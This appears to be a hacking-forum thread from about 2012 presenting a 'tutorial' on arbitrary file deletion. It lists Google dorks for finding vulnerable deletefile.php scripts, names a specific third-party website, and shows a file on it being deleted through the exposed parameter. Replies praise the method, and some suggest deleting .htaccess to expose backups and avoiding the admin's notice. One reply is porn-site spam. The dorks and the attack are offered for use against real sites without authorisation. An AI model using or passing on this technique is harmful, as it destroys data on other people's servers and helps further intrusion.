Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUTORIAL] - Arbitrary File Deletion

Step 1 - Find a poorly programmed website, most likely created by a 12 year old elementary-school-dropout, using dorks such as:

Code
inurl:deletefile.php
inurl:delete.php?filename=
inurl:deletefile.php?filename=
inurl:deletefile.php?file=


etc.




Step 2 - I have found my website that I am going to hax like a pro.
Code
http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=

[Image: 18V5g]




Step 3 - Basic directory transversal. Find the file that you want to delete, I'll use -
Code
http://www.doculand.net/services/index.html


It works right now.

Spoiler (Click to View)






























cough http://www.doculand.net/htdocs/fileuploa...index.html cough


























And now it doesn't.

Spoiler (Click to View)



How magical. [Image: 18V9G]
Cool dork, pretty violent and wicked :> but nice thinking.
O o
/¯/_____________________________________/¯¯
| 0x41414141 ~~~
\_\¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ¯\__
/█\
/ \
Amazing , very nice and interesting , thanks.
Great tutorial Dan.I haven't seen anything like this before.😁
Same as LFD, different function. Useful tutorial nevertheless.
Keep it up.
Yeah really really nice tutorial...
Then you decide to use the deletefile.php to delete the deletefile.php
This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
(Sep 26, 2012 04:12 PM)Define© Wrote:  This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

If you set out to piss of as many site hosters as possible, then this gets you there. otherwise it not so great "IMHO"
(Sep 26, 2012 04:12 PM)Define© Wrote:  This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack. Eg. Unencrypted backups (remember that time Blackshades got fucking raped?).

Nice thinking by the way, definitely something I have seen little of.
[Image: LAyjC6H.png]
you forgot to delete your tracks :)
Need A Different Or A NEW PORN WEBSITE!!!WHY??

1. WE GOT PORN
2. WE GOT PORN
3. THERE IS A SPIN WHEEL!!!

Visit Mine!! BOO-TUBE
(Sep 26, 2012 05:04 PM)No‌‌‌‌‌‌ Wrote:  This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack.

In fact you are totally right with this, the .htaccess is a very good example! But this "way of h4x" still is only usefull for getting
straight "in and back out" again, as in reality a missing index file would quickly draw attention to the Admin... this would allow no longer-term hack. (I think thats what wkdlewy meant to say)...

But while writing this, i thought of the next possibilitie... what if the Admin doesn't see the connection between deletefile.php and his missing index.php? 😁

Greets, Gee.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by dosiaSep 20, 2025 11:57 AM 0 165 Sep 20, 2025 11:57 AM
Last Post: dosia
by SeriouslyJan 22, 2022 07:44 AM 0 76 Jan 22, 2022 07:44 AM
Last Post: Seriously
by OfficeInboxerMar 28, 2021 05:23 AM 3 244 Mar 28, 2021 05:23 AM
Last Post: goratberom